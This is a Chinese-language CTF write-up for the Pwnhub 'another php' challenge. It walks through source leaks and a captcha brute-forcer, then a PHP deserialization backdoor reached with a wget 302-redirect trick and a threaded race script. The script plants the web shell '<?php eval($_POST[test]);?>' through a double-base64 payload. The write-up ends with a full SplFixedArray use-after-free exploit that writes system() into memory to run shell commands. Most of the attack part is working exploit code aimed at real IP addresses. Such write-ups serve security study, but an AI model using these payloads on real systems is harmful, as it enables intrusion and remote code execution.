another

Pwnhub

Posted by Xiaoxi on March 8, 2017

another php

一开始是各类杂技式的源码泄漏~

index.php~

index

进入http://52.80.32.116/2d9bc625acb1ba5d0db6f8d0c8b9d206

此外,在http://52.80.32.116/2d9bc625acb1ba5d0db6f8d0c8b9d206/login有一个登录框。

有一个验证码,需要写脚本爆破。

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import hashlib
for i in  xrange(0,999999999):
    test = hashlib.md5()
    test.update(str(i))
    if(test.hexdigest()[0:6]=='c65241'):
        print i,test.hexdigest()
        break

这里测试了好久,感觉一直找不到重点。后来扫了一波目录可以看到有svn泄漏,泄漏的是wc.db

可以看到内容:

Myname:Pwnhub{6666666flag}
havefun:)

然后,结合一下脑洞了一波。

Pwnhub{6666666flag}就是登录框的用户名,login.php只验证了username,然后爆破一下验证码就能得到关键文件的文件名。

information

然后,进入界面http://52.80.32.116/2d9bc625acb1ba5d0db6f8d0c8b9d206/a9b4d7cc810da015142f61f7e236d50b.php

这里显示一个no image!

也需要脑洞一波

post一个带image标签的数据包

image=21

post

查看源码,可以看到泄漏了源码信息

<img src="pwnhub.jpg" width=184 height=200/><!-- pwnhubs0urcec0d3.zip -->

到http://52.80.32.116/2d9bc625acb1ba5d0db6f8d0c8b9d206/pwnhubs0urcec0d3.zip下载完文件。

解压开,可以看到两个文件,一个code.php 一个php.diff

code.php是混淆过的,所以在线找个网站解码一下即可。

<?php
//加密方式:php源码混淆类加密。免费版地址:http://www.zhaoyuanma.com/phpjm.html 免费版不能解密,可以使用VIP版本。
//此程序由【找源码】http://Www.ZhaoYuanMa.Com (免费版)在线逆向还原,QQ:7530782 
?>
<?php
error_reporting(E_ALL);
$firesun_path = '';
class Pwnhub 
{
	function __wakeup() 
	{
		if (isset($_GET['pwnhub'])=="firesun") 
		{
			echo "Hacked by Firesun!";
			eval(base64_decode($_POST['pwnhub']));
		}
	}
}
function pwnhubfile() 
{
	global $firesun_path;
	file_put_contents($firesun_path . '/firesun', serialize($_SESSION));
}
session_start();
register_shutdown_function('pwnhubfile');
function set_context($id) 
{
	global $_SESSION, $firesun_path;
	$firesun_path = '/var/www/data/' . $id;
	if (!is_dir($firesun_path)) mkdir($firesun_path);
	chdir($firesun_path);
	if (!is_file('firesun')) $_SESSION = array();
	else $_SESSION = unserialize(file_get_contents('firesun'));
}
function download_image($url) 
{
	$url = parse_url($origUrl = $url);
	if (isset($url['scheme']) && $url['scheme'] == 'http') if ($url['path'] == '/pwnhub.png') 
	{
		if (isset($url['query'])) 
		{
			die('byebyebye');
		}
		wget_wrapper($origUrl);
		echo "Nice:)";
	}
	else 
	{
		echo 'sorry!';
	}
}
if (!isset($_SESSION['id'])) 
{
	$sessId = bin2hex(openssl_random_pseudo_bytes(10));
	$_SESSION['id'] = $sessId;
}
else 
{
	$sessId = $_SESSION['id'];
}
session_write_close();
set_context($sessId);
if (isset($_POST['image'])) 
{
	$p = $_POST['image'];
	if (stripos($p, 'php')) 
	{
		echo 'wow!!!';
		die('byebye');
	}
	download_image($p);
	echo '<img src="pwnhub.jpg" width=184 height=200/>';
}
else 
{
	die('no image:(');
}
?>
<!-- pwnhubs0urcec0d3.zip -->

大体过一下代码,可以很明显,我们最终要达到的效果是通过Pwnhub类中的eval来进行远程命令执行(RCE)。

而,此时我们的问题在于Pwnhub类在php中没有被实例化。

那么,显然按通常的思路就是,我们需要反序列化一个Pwnhub类。

再自己扫一下代码,可以发现全文只有在set_context处有反序列化操作

function set_context($id) 
{
	global $_SESSION, $firesun_path;
	$firesun_path = '/var/www/data/' . $id;
	if (!is_dir($firesun_path)) 
      mkdir($firesun_path);
	chdir($firesun_path);
	if (!is_file('firesun')) 
      $_SESSION = array();
	else 
      $_SESSION = unserialize(file_get_contents('firesun'));
}

所以,接下来,我们就需要做的工作就是控制firesun文件里面的内容为,O:6:"Pwnhub":0:{}

接下来,就是如何做到让firesun的内容是O:6:"Pwnhub":0:{}

由于代码中,有另一块向firesun中赋值的操作:

function pwnhubfile()
{
    global $firesun_path;
    file_put_contents($firesun_path . '/firesun', serialize($_SESSION));
}
session_start();
register_shutdown_function('pwnhubfile');

即,一次访问结束或者遇到一场以后,系统会自动生成一个firesun的的文件。

所以,在整个过程中,我们几乎没办法控制firesun为O:6:"Pwnhub":0:{}

正式做题的时候,就卡在这了。。

后来,官方提示

2017.03.04 21:20:00wget_wrapper就是wget,不要想着在url上做文章进行命令执行,过滤很严,wget版本较低,wget版本较低,wget版本较低,重要的话说三遍

查了一下,wget在低版本有一个302的漏洞,可以导致我们可以控制其下载任意一个文件。这样,我们就可以利用这个漏洞,控制firesun文件了。让服务器通过wget请求一个firesun文件。这里因为有register_shutdown_function(‘pwnhubfile’);的存在,我们需要进行条件竞争利用。(此外,可以在网上搜到一道和它很像的WP,应该是依据它改的题目。http://quanyang.github.io/secuinside-ctf-quals-2016-trendyweb/

整个逻辑如下:

  1. 我们访问页面,生成一个独特的sessionid,并执行set_context($session_id),获取firesun的内容。
  2. 于此同时,我们要利用download_image函数的wget漏洞,让sessionid下面的firesun内容为O:6:”Pwnhub”:0:{}。
  3. 此外,我们要让2的操作,在第一次访问结束之前就执行完。因为第一次访问结束后,系统就会生成一个firesun。而,wget是无法覆盖文件的。也就是说,如果我们第一次请求结束前没有反序列化成功,就代表当前的session废用了。(这里的$firesun_path目录由id控制)

这里,先依据302漏洞的博客,配一个环境。

http服务:

import SimpleHTTPServer
import SocketServer

HTTP_HOST = '106.14.61.185'
HTTP_PORT = 8080
HTTP_REDIRECT_HOST = 'ftp://anonymous@106.14.61.185:21'
HTTP_REDIRECT_FILE = 'firesun'

class RedirectServer(SimpleHTTPServer.SimpleHTTPRequestHandler):

    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', '%s/%s' % (HTTP_REDIRECT_HOST, HTTP_REDIRECT_FILE))
        self.end_headers()

handler = SocketServer.TCPServer((HTTP_HOST, HTTP_PORT), RedirectServer)
handler.serve_forever()

ftp

sudo python -m pyftpdlib -p 21

然后,在根目录(/)下,写一个firesun文件firesun

测试一下,请求http://106.14.61.185:8080/test.html 它会转到ftp://106.14.61.185/firesun

接下来,我参考了lorexxar里面的脚本,跑了一下。

import requests
import threading
import time
from random import Random
url = "http://52.80.32.116/2d9bc625acb1ba5d0db6f8d0c8b9d206/a9b4d7cc810da015142f61f7e236d50b.php"
def down(cookie):
    data = {'image': 'http://106.14.61.185:8080/pwnhub.png'}
    r = requests.post(url, data = data, cookies=cookie)
def ri(cookie):
    s = requests.Session()
    data = {'pwnhub': 'ZmlsZV9wdXRfY29udGVudHMoIi92YXIvd3d3L2h0bWwvMmQ5YmM2MjVhY2IxYmE1ZDBkYjZmOGQwYzhiOWQyMDYvaW1hZ2UveGlhb3hpLnBocCIsIGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYmRHVnpkRjBwT3o4KyIpKTs='}
    r = s.post(url + "?pwnhub=firesun", data = data, cookies=cookie)
    if "Hacked by Firesun" in r.text:
        print r.text
def random_str(randomlength=8):
    str = ''
    chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
    length = len(chars) - 19
    random = Random()
    for i in range(randomlength):
        str+=chars[random.randint(0, length)]
    return str
for i in range(0,10000):
    session = random_str(26)
    cookie = {'PHPSESSID': session}
    threading.Thread(target = down,args = (cookie,)).start()
    threading.Thread(target = ri,args = (cookie,)).start()

注:base64字符集不包含<?> 所以,这里要二重base64编码

ZmlsZV9wdXRfY29udGVudHMoIi92YXIvd3d3L2h0bWwvMmQ5YmM2MjVhY2IxYmE1ZDBkYjZmOGQwYzhiOWQyMDYvaW1hZ2UveGlhb3hpLnBocCIsIGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYmRHVnpkRjBwT3o4KyIpKTs=

file_put_contents("/var/www/html/2d9bc625acb1ba5d0db6f8d0c8b9d206/image/xiaoxi.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbdGVzdF0pOz8+"));

PD9waHAgZXZhbCgkX1BPU1RbdGVzdF0pOz8+

<?php eval($_POST[test]);?>

竞争一波,可以拿到webshell

phpinfo

webshell

在phpinfo中,可以看到很多函数被禁用。。。

  exec,passthru,shell_exec,assert,glob,imageftbbox,bindtextdom,dir,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,symlink,chgrp,chmod,chown,dl,mail,readlink,stream_socket_server,fsocket,imap_mail,apache_child_terminate,posix_kill,proc_terminate,proc_get_status,syslog,openlog,ini_alter,chroot,fread,fgets,fgetss,file,readfile,ini_set,ini_restore,putenv,apache_setenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,fpassthru,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,fputs,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,highlight_file,show_source,copy,system,	exec,passthru,shell_exec,assert,glob,imageftbbox,bindtextdom,dir,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,symlink,chgrp,chmod,chown,dl,mail,readlink,stream_socket_server,fsocket,imap_mail,apache_child_terminate,posix_kill,proc_terminate,proc_get_status,syslog,openlog,ini_alter,chroot,fread,fgets,fgetss,file,readfile,ini_set,ini_restore,putenv,apache_setenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,fpassthru,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,fputs,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,highlight_file,show_source,copy,system,
  display_errors                          	                                        

接下来的问题在于php.diff.官方题解讲到:

根据php.diff,可以得知修改部分在php的SplFixedArray类中,作者为SplFixedArray新增了序列化与反序列化方法。简单阅读修改部分可以发现bug存在于反序列化过程中:如果php_var_unserialize失败,会调用zval_ptr_dtor减少对应zval的引用计数,从而导致其被释放,造成use-after-free。通过伪造zval可以达到任意地址读写与代码执行。 拿到reverse shell之后,在根目录发现flag.txt,用flag_reader程序可以读出flag。

orz,反正我看不懂。。。

脚本贴上:


<?php

function ptr2str($ptr)
{
    $out = '';
    for ($i = 0; $i < 8; $i++) {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}

function readmem($address, $length)
{
    $inner = 'x:3;i:0;i:0;i:1;s:8:"AAAAAAAA";i:2;?:2;';
    $fakezval = ptr2str($address);
    $fakezval .= ptr2str($length);
    $fakezval .= "\x00\x00\x00\xff";
    $fakezval .= "\x06";
    $fakezval .= "\x00";
    $fakezval .= "\x00\x00";
    $inner2 = 's:'.strlen($fakezval).':"'.$fakezval.'"';
    $mid = 'x:6;i:0;s:1:"0";i:1;s:1:"1";i:2;C:13:"SplFixedArray":'.strlen($inner).':{'.$inner.'}i:3;'.$inner2.';i:4;'.$inner2.';i:5;'.$inner2.';';
    $a = 'C:13:"SplFixedArray":'.strlen($mid).':{'.$mid.'}';

    $data = unserialize($a);
    return substr($data[2][2], 0, $length);
}

function parse_libc()
{
    $maps = file_get_contents("/proc/self/maps");
    preg_match('#([0-9a-f]+)\-[0-9a-f]+.+/.+libc\-.+#', $maps, $r);
    $result = hexdec($r[1]);
    return $result;
}

$libc = parse_libc();
echo "libc_base = ".$libc."\n";
$system = ptr2str($libc + 0x46590);
$bss = $libc + 0x3C0000;
/*
$array = array();
for($i = 0;$i<10;$i+=2) {
    $array[$i] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
}

FOR($i=0;$i<10;$i++) {
    $array[$i] = $i;
}
*/
$inner = 'x:3;i:0;i:0;i:1;s:8:"AAAAAAAA";i:2;?:2;';
$fakezval = ptr2str(0);
$fakezval .= ptr2str(0x7fffffff);
$fakezval .= "\x01\x00\x00\x00";
$fakezval .= "\x06";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
$inner2 = 's:'.strlen($fakezval).':"'.$fakezval.'"';
$mid = 'x:7;i:0;s:1:"0";i:1;s:1:"1";i:2;C:13:"SplFixedArray":'.strlen($inner).':{'.$inner.'}i:3;'.$inner2.';i:4;'.$inner2.';i:5;'.$inner2.';i:5;?:5;';
$a = 'C:13:"SplFixedArray":'.strlen($mid).':{'.$mid.'}';
$data = unserialize($a);
var_dump($data);

echo bin2hex($data[5]);

/* avoid calling free */
$inner1 = 'x:3;i:0;i:0;i:1;s:8:"AAAAAAAA";i:2;?:2;';
$fakezval1 = ptr2str($bss);
$fakezval1 .= ptr2str(8);
$fakezval1 .= "\x00\x00\x00\x00";
$fakezval1 .= "\x06";
$fakezval1 .= "\x00";
$fakezval1 .= "\x00\x00";
$inner2 = 's:'.strlen($fakezval1).':"'.$fakezval1.'"';
$mid = 'x:6;i:0;s:1:"0";i:1;s:1:"1";i:2;C:13:"SplFixedArray":'.strlen($inner1).':{'.$inner1.'}i:3;'.$inner2.';i:4;'.$inner2.';i:5;'.$inner2.';';
$a = 'C:13:"SplFixedArray":'.strlen($mid).':{'.$mid.'}';
$data1 = unserialize($a);
$y = $data1[2][2];
$y[0] = $system[0];
$y[1] = $system[1];
$y[2] = $system[2];
$y[3] = $system[3];
$y[4] = $system[4];
$y[5] = $system[5];
$y[6] = $system[6];
$y[7] = $system[7];

file_put_contents("/tmp/a", "bash -c 'echo 123 > /tmp/hello'");

$inner_1 = 'x:3;i:0;i:0;i:1;s:8:"AAAAAAAA";i:2;?:2;';
$fakezval_1 = "sh /*/a;";
$fakezval_1 .= ptr2str($bss-8);
$fakezval_1 .= "\x01\x00\x00\x00";
$fakezval_1 .= "\x05";
$fakezval_1 .= "\x00";
$fakezval_1 .= "\x00\x00";
$inner_2 = 's:'.strlen($fakezval_1).':"'.$fakezval_1.'"';
$mid_1 = 'x:6;i:0;s:1:"0";i:1;s:1:"1";i:2;C:13:"SplFixedArray":'.strlen($inner_1).':{'.$inner_1.'}i:3;'.$inner_2.';i:4;'.$inner_2.';i:5;'.$inner_2.';';
$a_1 = 'C:13:"SplFixedArray":'.strlen($mid_1).':{'.$mid_1.'}';
$data_8 = unserialize($a_1);
$data_8[2][2] = 1;

echo "Done!\n";
?>